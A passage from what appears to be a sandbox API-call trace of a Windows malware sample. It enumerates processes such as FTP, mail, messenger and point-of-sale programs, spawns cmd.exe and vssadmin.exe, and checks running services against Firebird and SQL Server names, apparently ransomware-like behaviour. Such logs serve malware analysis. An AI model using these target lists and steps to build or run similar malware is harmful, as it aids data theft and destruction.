pcPriClassBase=8, dwFlags=0x0, szExeFile="assistjacksonville.exe")) returned 1 [0065.870] lstrlenW (lpString="assistjacksonville.exe") returned 22 [0065.870] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="release.exe")) returned 1 [0065.870] lstrlenW (lpString="release.exe") returned 11 [0065.870] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="billethicalpresent.exe")) returned 1 [0065.871] lstrlenW (lpString="billethicalpresent.exe") returned 22 [0065.871] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="introduce_passport_wiley.exe")) returned 1 [0065.871] lstrlenW (lpString="introduce_passport_wiley.exe") returned 28 [0065.871] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="insiderviewersflorist.exe")) returned 1 [0065.871] lstrlenW (lpString="insiderviewersflorist.exe") returned 25 [0065.871] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aids oasis luxembourg.exe")) returned 1 [0065.872] lstrlenW (lpString="aids oasis luxembourg.exe") returned 25 [0065.872] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="stickers_nations.exe")) returned 1 [0065.872] lstrlenW (lpString="stickers_nations.exe") returned 20 [0065.872] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="initiated-scary.exe")) returned 1 [0065.873] lstrlenW (lpString="initiated-scary.exe") returned 19 [0065.873] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0065.873] lstrlenW (lpString="3dftp.exe") returned 9 [0065.873] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0065.873] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0065.873] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0065.874] lstrlenW (lpString="alftp.exe") returned 9 [0065.874] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0065.874] lstrlenW (lpString="barca.exe") returned 9 [0065.874] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0065.875] lstrlenW (lpString="bitkinex.exe") returned 12 [0065.875] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0066.365] lstrlenW (lpString="coreftp.exe") returned 11 [0066.365] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0066.365] lstrlenW (lpString="far.exe") returned 7 [0066.365] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0066.366] lstrlenW (lpString="filezilla.exe") returned 13 [0066.366] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0066.366] lstrlenW (lpString="flashfxp.exe") returned 12 [0066.366] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0066.366] lstrlenW (lpString="fling.exe") returned 9 [0066.366] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0066.366] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0066.367] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0066.367] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0066.367] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0066.367] lstrlenW (lpString="icq.exe") returned 7 [0066.367] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0066.367] lstrlenW (lpString="leechftp.exe") returned 12 [0066.367] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0066.368] lstrlenW (lpString="ncftp.exe") returned 9 [0066.368] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0066.368] lstrlenW (lpString="notepad.exe") returned 11 [0066.368] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0066.368] lstrlenW (lpString="operamail.exe") returned 13 [0066.368] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0066.369] lstrlenW (lpString="pidgin.exe") returned 10 [0066.369] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0066.369] lstrlenW (lpString="scriptftp.exe") returned 13 [0066.369] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0066.369] lstrlenW (lpString="skype.exe") returned 9 [0066.369] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0066.370] lstrlenW (lpString="smartftp.exe") returned 12 [0066.370] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0066.370] lstrlenW (lpString="thunderbird.exe") returned 15 [0066.370] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0066.371] lstrlenW (lpString="totalcmd.exe") returned 12 [0066.371] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0066.371] lstrlenW (lpString="trillian.exe") returned 12 [0066.371] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0066.371] lstrlenW (lpString="webdrive.exe") returned 12 [0066.371] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0066.372] lstrlenW (lpString="whatsapp.exe") returned 12 [0066.372] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0066.372] lstrlenW (lpString="winscp.exe") returned 10 [0066.372] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0066.373] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0066.373] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0066.373] lstrlenW (lpString="active-charge.exe") returned 17 [0066.373] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0066.373] lstrlenW (lpString="accupos.exe") returned 11 [0066.373] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0066.374] lstrlenW (lpString="afr38.exe") returned 9 [0066.375] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0066.375] lstrlenW (lpString="aldelo.exe") returned 10 [0066.375] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0066.376] lstrlenW (lpString="ccv_server.exe") returned 14 [0066.376] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0066.376] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0066.376] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0066.376] lstrlenW (lpString="creditservice.exe") returned 17 [0066.377] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0066.377] lstrlenW (lpString="edcsvr.exe") returned 10 [0066.377] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0066.377] lstrlenW (lpString="fpos.exe") returned 8 [0066.377] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0066.378] lstrlenW (lpString="isspos.exe") returned 10 [0066.378] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0066.378] lstrlenW (lpString="mxslipstream.exe") returned 16 [0066.378] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0066.378] lstrlenW (lpString="omnipos.exe") returned 11 [0066.378] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0066.379] lstrlenW (lpString="spcwin.exe") returned 10 [0066.379] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0066.379] lstrlenW (lpString="spgagentservice.exe") returned 19 [0066.379] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0066.379] lstrlenW (lpString="utg2.exe") returned 8 [0066.379] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="nj_sh.exe")) returned 1 [0066.380] lstrlenW (lpString="nj_sh.exe") returned 9 [0066.380] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="motherboard_dial_rule.exe")) returned 1 [0066.380] lstrlenW (lpString="motherboard_dial_rule.exe") returned 25 [0066.380] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="telecommunications.exe")) returned 1 [0066.380] lstrlenW (lpString="telecommunications.exe") returned 22 [0066.380] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sound banking.exe")) returned 1 [0066.381] lstrlenW (lpString="sound banking.exe") returned 17 [0066.381] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0066.381] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0066.381] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0066.382] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0066.382] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0066.382] lstrlenW (lpString="taskhost.exe") returned 12 [0066.382] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0066.382] lstrlenW (lpString="dllhost.exe") returned 11 [0066.382] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0066.383] lstrlenW (lpString="dllhost.exe") returned 11 [0066.383] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0066.383] lstrlenW (lpString="winhost.exe") returned 11 [0066.383] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb80, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0066.384] lstrlenW (lpString="cmd.exe") returned 7 [0066.384] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0066.384] lstrlenW (lpString="conhost.exe") returned 11 [0066.384] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb1c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0066.384] lstrlenW (lpString="vssadmin.exe") returned 12 [0066.384] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb1c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0066.385] CloseHandle (hObject=0x188) returned 1 [0066.385] Sleep (dwMilliseconds=0x1f4) [0067.715] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52ff28 [0067.716] EnumServicesStatusExW (in: hSCManager=0x52ff28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 0 [0067.719] GetLastError () returned 0xea [0067.719] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x123e) returned 0x509080 [0067.719] EnumServicesStatusExW (in: hSCManager=0x52ff28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x509080, cbBufSize=0x123e, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x509080, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 1 [0067.720] CloseServiceHandle (hSCObject=0x52ff28) returned 1 [0067.720] lstrlenW (lpString="Appinfo") returned 7 [0067.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0067.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0067.720] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0067.720] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0067.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0067.720] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0067.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0067.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0067.720] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0067.720] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0067.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0067.720] lstrlenW (lpString="AudioSrv") returned 8 [0067.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0067.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0067.720] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0067.720] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0067.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0067.720] lstrlenW (lpString="BFE") returned 3 [0067.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0067.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0067.720] lstrcmpiW 